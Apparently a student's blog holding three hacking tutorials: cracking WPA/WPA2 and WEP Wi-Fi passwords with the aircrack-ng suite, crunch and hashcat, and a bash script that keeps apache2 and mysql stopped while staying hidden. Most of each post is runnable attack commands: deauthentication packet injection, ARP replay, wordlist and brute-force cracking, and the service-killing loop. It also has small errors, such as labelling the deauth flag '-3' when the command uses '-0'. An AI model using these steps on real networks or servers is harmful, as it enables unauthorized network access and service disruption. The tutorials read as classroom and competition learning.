HACK - Wireless Hacking - WPA/WPA2

Background - WPA/WPA2

This is the second part of my wireless hacking tutorial. If you are interested in hacking WEP security, please check out this blog post. WEP should never be used, as it does not matter how long or complicated your password is, a hacker can achieve a network key as long as there is a client. With WPA/WPA2, the difficulty in cracking the password comes from its complexity and length. Before we get started, it should be noted that the first three steps of cracking WPA/WPA2 are the same as cracking WEP on my other post.


Requirements:

• Kali Linux
• Includes the Air-ng Suite
• Wireless Adapter
• A router to hack
• A client already on the network
• Permission to crack, it is otherwise illegal

1.) Set up a monitor interface.

With Kali Linux booted up, make sure you have a wireless interface to work with.

# iwconfig

 A very popular wireless interface name is wlan0.

# airmon-ng start [WIRELESSINTERFACE]

Make sure to KILL any recommended processes.

# kill [PID1] [PID2] [PID3]

2.) Start monitoring traffic.

# airodump-ng

The top part shows all Access Points.

The bottom part shows all clients.

BSSID - the Access Point's MAC Address

PWR - the signal strength

Becaons - the packets that the router sends out to alert its presence

CH - The channel that information is being broadcast on

AUTH - Either MGT for Managed or PSK for Pre-Shared Key

ESSID - the Access Point's network name

STATION - the client's MAC Address

Probe - The list of ESSIDs that the client is looking to connect with

We are looking for anything that has PSK Authentication.

Once we find the access point we are looking for, we must make sure there is a client. Otherwise, we will not be able to capture a handshake, which is essential to cracking a network password.

I have not yet learned how to crack MGT Authentication.

Now that we have located an Access Point to crack, we need to start recording any packets that have anything to do with it.

3.) Recording the traffic.

# airodump-ng --bssid [BSSID] -c [CHANNEL] -w [FILENAME] mon0

This will start writing recorded packets to a .cap file. Similarly, you will see your specified access point on the top, and any of its clients on the bottom. Let this run in the background as we continue to work with other utilities.

At this point, we must split into two categories. Your targeted network either has a WEP encryption, or a WPA/WPA2 encryption.

4.) Getting the Handshake.

We are looking for a series of packets called the handshake, which only occurs when someone joins the network. We will use this handshake to crack the network password later.

In order to force a client to provide a handshake, we need to force it to connect. The only way to get it to reconnect to a network it is already a part of is to forcibly disconnect it.

We can do this by injecting what are known as deauth packets. 

# aireplay-ng -0 5 -a [BSSID] -c [CLIENTMAC] -e [ESSID] mon0

-3 is used for a deauth injection

5 is how many sets of deauth packets we want to send

This should successfully send out the deauth packets and force the client to perform a handshake with the access point. We can tell if this works by checking back on our airodump-ng capture.

If the deauth was successful, or we just happened to be monitoring when someone was connecting to the router, the top right of the airodump-ng display screen should say the following:

[WPA handshake: XX:XX:XX:XX:XX:XX

Now we will begin our attempt to crack it.

5.) Cracking the Password.

We now have the password in our grasp, but alas, it is still encrypted. We must now decrypt the password one of two ways.

The first method stays within the suite of the Air-ng tools, using aircrack-ng. The second method takes advantage of a discrete graphics card by using oclHashCat, and is tremendously faster. Before we begin the cracking process, we need to decide whether to use a word list or a brute force attack.

A word list is a text file that contains very popular passwords. These can be effective if a password is expected to be predictable.

A brute force attack is one that tries every single possible password that you allow. These are much lengthier attacks, but cover every possible password that a word list simply can't.

5a.) Aircrack-ng

We will start with a word list attack. The word list we want to use is named rockyou.txt, and can be found inside Kali within the directory /usr/share/wordlists. Do the following commands to bring it to your current directory and unarchive it.

# cp /usr/share/wordlists/rockyou.txt.gz . 

# gunzip rockyou.txt.gz

We will then input the word list into aircrack-ng.

 # aircrack-ng --bssid [BSSID] -w rockyou.txt [FILENAME]-01.cap

You will then see aircrack-ng work its magic. If done on a modern machine, aircrack-ng can usually get up between 1000-5000 keys per second. Depending on the version of rockyou.txt and Kali you have, there can be between 1 and 1.4 million total passwords. If this does not work, you may resort the a brute force attack.

The brute force attack involves using another tool, named crunch. 

 # crunch [MINLENGTH] [MAXLENGTH] [POSSIBLECHARACTERS]

Here are a couple examples:

Every number between 0 and 9999

# crunch 1 4 0123456789

Every letter between aaaaaaaa and ZZZZZZZZ 

# crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

Do keep in mind that every WPA key must be between 8-63 ASCII-encoded characters.

It wouldn't make much sense to check passwords between 1-7 characters long.

To implement crunch into aircrack-ng, we need to pipe as follows:

# crunch [MINLENGTH] [MAXLENGTH] [POSSIBLECHARACTERS] | aircrack-ng --bssid [BSSID] -w- [FILENAME]-01.cap

You should start to see every possible combination of characters that you have specified being used to crack the password. Be warned, this may take ages to complete.

For some perspective, a brute force attack that is 8 characters in length and contains both cases of every letter and every number has 63^8 possible combinations, or 218 trillion possibilities! Going through the list at 5000 passwords per second will take you a whopping 2000 years to complete!

5b.) oclHashcat

As stated with the aircrack-ng tool description, it will take you a very long time to calculate hashes. If you have a discrete graphics card (AMD or NVidia), you can utilize oclHashcat and get a much faster cracking time.

Download oclHashCat

You may attempt to get this working on your Kali, but I wouldn't recommend it if you are running it inside a virtual machine. I doubt it would be able to take full advantage of your graphics. Visualization aside, installing graphics drivers for Linux is a pain. For this tool, I recommend running it on Windows with your graphics card drivers already installed.

Before we use oclHashcat, we must convert the original .cap file to .hccap, which is used by Hashcat. Before we do that, it is recommended that we clean the packets.

 # wpaclean [CLEANEDFILE].cap [FILENAME].cap

Next, we can either use the online converter, or we can run the following command in aircrack-ng: 

 # aircrack-ng [CLEANEDFILE].cap -J [CLEANEDFILE].hccap

Now we move to Hashcat. Once extracted, you may download this batch file to make the tool a little more user friendly. Simply dump the text into a text file and then rename it to have an extension of  a .bat file.

If you choose to run the tool as it is, the command for running it is as follows:

For word list:

 > cudaHashcat64.exe -m 2500 [FILENAME].hccap [WORDLIST].txt

For brute force:

 > cudaHashcat64.exe -m 2500 -a3 [FILENAME].hccap [BRUTEOPTIONS]

Using an NVIDIA 660 TI+, I managed to reach 50,000 passwords per second. This was 10 times faster than using my CPU with aircrack-ng!

When the tool has cracked the password, it will place it in a file named cudaHashcat.pot.

This is an example of what that file might contain:

dd-wrt:20aa4b2770b4:b8e8562a3466:10010100

Don't be fooled, but 10010100 was actually the password to this network with an ESSID of "dd-wrt."

Conclusion

WPA/WPA2 isn't an impenetrable form of network security. As established, the stronger your password is, the longer it will take to crack. On the other side, the faster a hacker can go through hashes, the faster they can crack a password. I do not take any responsibility for actions and damage that is caused by the misuse of this tutorial. I only distribute it for those who wish to learn from it. Use it at your own risk. 

Thanks for reading!

-Dan

HACK - Wireless Hacking - WEP

Background - Intro to Hacking

In the Fall semester of my sophomore year at Bloomsburg University, I took a highly anticipated class that was being offered for the first time. This class was Intro to Hacking, taught by Dr. Polstra. We looked at many aspects of hacking, such as debugging assembly and scanning for vulnerable services. One of the most exciting parts of the class was the wireless password cracking. Luckily, I took notes during class and I would like to share them with you. This is how you go about hacking wireless networks with WEP security.


Requirements:

• Kali Linux
• Includes the Air-ng Suite
• Wireless Adapter
• A router to hack
• A client already on the network
• Permission to crack, it is otherwise illegal

1.) Set up a monitor interface.

With Kali Linux booted up, make sure you have a wireless interface to work with.

# iwconfig

 A very popular wireless interface name is wlan0.

# airmon-ng start [WIRELESSINTERFACE]

Make sure to KILL any recommended processes.

# kill [PID1] [PID2] [PID3]

2.) Start monitoring traffic.

# airodump-ng

The top part shows all Access Points.

The bottom part shows all clients.

BSSID - the Access Point's MAC Address

PWR - the signal strength

Becaons - the packets that the router sends out to alert its presence

CH - The channel that information is being broadcast on

AUTH - Either MGT for Managed or PSK for Pre-Shared Key

ESSID - the Access Point's network name

STATION - the client's MAC Address

Probe - The list of ESSIDs that the client is looking to connect with

We are looking for anything that has PSK Authentication or is WEP Encrypted.

Once we find the access point we are looking for, we must make sure there is a client. Otherwise, we will not be able to capture a handshake, which is essential to cracking a network password.

I have not yet learned how to crack MGT Authentication.

Now that we have located an Access Point to crack, we need to start recording any packets that have anything to do with it.

3.) Recording the traffic.

# airodump-ng --bssid [BSSID] -c [CHANNEL] -w [FILENAME] mon0

This will start writing recorded packets to a .cap file. Similarly, you will see your specified access point on the top, and any of its clients on the bottom. Let this run in the background as we continue to work with other utilities.

At this point, we must split into two categories. Your targeted network either has a WEP encryption, or a WPA/WPA2 encryption.

4.) Generating more traffic.

We can easily start cracking WEP, but chances are they aren't generating enough packets. For general purpose, let's consider each packet as what is known as an IV. We need a recommend minimum of 15k IVs. I usually end up cracking a WEP password at around 40k IVs. To get all of these IVs, we need to generate them ourselves.

# aireplay-ng -3 -a [BSSID] -h [CLIENTMAC] mon0

-3 is an arpreplay

This injects ARP requests disguised as the client, which generates the packets we need. Leave this running as well, and open an new terminal.

5.) Cracking the password.

We will be using one more tool in an effort to crack the password using the IVs we captured.

# aircrack-ng --bssid [BSSID] 

It will keep trying as airodump-ng gets more IVs, which were generated from aireplay-ng.

Eventually, you will be left with a result that looks like this:

     KEY FOUND! [ 97:92:1F:E7:7A ]

This is normal. To log onto the network, just type in the code without the colons. For example, the above code becomes: 97921FE77A

Conclusion

While WEP security is rarely seen, it's a good idea to understand why. Given enough packets and only one client, a WEP key can be easily obtained. I do not take any responsibility for actions and damage that is caused by the misuse of this tutorial. I only distribute it for those who wish to learn from it. Use it at your own risk. 

For a more applicable hack, please read my other blog post on WPA/WPA hacking.


Thanks for reading!
-Dan

HACK - A Service Terminating Bash Script

Background - CCDC 2015

Recently, the Bloomsburg Cyber Defense Club (BCDC) partook in the National CyberWatch Mid-Atlantic CCDC Qualifiers. If you don't know what CCDC is, it can be summed up with computer defenders (blue team) trying to keep hackers (red team) from taking over four computers on the same network while both teams also complete various capture the flag events. While we didn't come close to taking gold, we put up a good fight and placed 4th of 9 in our round.

Gee, this is embarrassing...

This being my second year competing, I thought I would have been more prepared than I was for the previous one. While we had been practically owned this year, I believe it had to do something with us being in the final round. This allowed the red team to harden their technique and know exactly how to get into our computers, as they had spent 9 hours in the previous three rounds trying to get in to replications of the same machines. While Bloomsburg lost that day, we had gotten a taste of a real challenge and will be more prepared for next year.

How I Lost My Linux Machine

One of the things we faced during the competition was a hacker who seemed to have our services persistently down. No matter how hard we tried to start our apache2 and mysql services, they would always stop themselves in one second. It looked a lot like this:

Being shutdown...

We assumed this had to be a bash script, but we didn't know how to find it. We thought we could find it using top and ps, but top ended up being a cluttered mess of nothing important and we ended up finding only a generic "bash" process with ps. Had we terminated bash, we would have lost everything. This is especially the case considering that we only had access to these machines via ssh.

A fruitless process list.

No luck with top either.

Not knowing how to stop the script or even where to look, we were left unable to complete our injects for the qualifier round. This was absolutely disappointing. After the competition, I thought to myself, "How could we have stopped it?" This was soon followed by another question, "How could I recreate it?" Both of these questions will be answered. In order to recreate it, we need to have a good understanding on how Linux services work.

Linux Services - How They Work

Most of the common Linux distributions can start and stop services by using the built-in Linux program "service." You can get a list of every service on your Linux box by using the --status-all flag. From the results, [+] means running, [-] means offline, and [?] means it is unknown if the service is working.

• user@linux ~ $ sudo service service_name action
• user@linux ~ $ service --status-all

The list goes on and on...

You need to place the name of the service you want to manipulate at service_name. Some examples include apache2, mysql, or sshd. These are all names of services that your Linux box can run.

Next you need to decide what action you want your service to carry out. To see whether or not the service is running, we ask for the status of a service. To turn a service on or off, we use the actions start and stop. You can also restart a service.

Stopping and starting apache2.

Recreating the Bash Script

The first thing to creating a bash script is creating the file used to house our code. Usually a script file name ends with the extension ".sh" for "shell," but you can name it whatever you want if you want to be sneaky. You may use any text editor, but I prefer using nano. First, navigate to your desired directory and create the text file by using the following command:

• user@linux ~/Desktop $ nano autoServiceTerminate.sh

Now that we have nano open, we can start our script. To make sure that the shell you are using knows which interpreter to use (bash), we add a pointer to it. This step is not always necessary, but is considered conventional. We start our script with the following line:

• #!/bin/bash

Next we want our code to repeat over and over. We need a while true loop to accomplish this automatic process. This loop will go on forever until the service is terminated by a user, which the red team would hope never happens. We use the following syntax for a loop in bash:

• while true; do
• Code Goes Here...
• 
  
• 
  
• done

Within our loop should be the code that we want to repeat. We want to attempt to terminate specific services over and over, effectively keeping them down. While we could do some magic with grep and services --status-all, there would be some major disadvantages. One such problem would be the termination of the ssh service, which would kick the hacker out of the shell they are currently in and therefore stop the script from running. We will be specific with the services we want to keep down: apache2 and mysql. We must use what we learned before about stopping services and put that within the loop:

• sudo service apache2 stop
• sudo service mysql stop

The script as it is now would function as we want. The only problem with it now is that it never takes a break from trying to take down the services. This is bad because it could use a noticeable amount of CPU and would appear in programs like top, which would give us away. To avoid this, we only want the script to run once per second. Putting the following line within the loop will do just that:

• sleep 1

The finished script looks like this:

Very simple, but very threatening.

Now we can exit nano by pressing CTRL+X, and save it by typing Y. With our script completed, we must now make it an executable. We can do this by running the chmod command:

• user@linux ~ $ sudo chmod +x autoServiceTerminate.sh

This will allow us to run our script as a bash file. Now to run it, we use the following syntax:

• user@linux ~ $ ./autoServiceTerminate.sh

And now it should run, terminating your services forever! It is unnoticeable both to top and a typical ps. Note that you can always stop a bash script or program by pressing CTRL+Z.

This will cause headaches to those it is used on.

Conclusion

This script is exactly what I believe the red team used on us during the competition. Feel free to recreate this script or download it from my website. I do not take any responsibility for actions and damage that is caused by the misuse of this script. I only distribute it for those who wish to learn from it. Use it at your own risk. 

As it stands, it would be pointless to recreate this attack without finding out how to stop it. I have found a method of doing so, but it requires creating a defensive bash script. I will save it for a future blog post.


Thanks for reading!
-Dan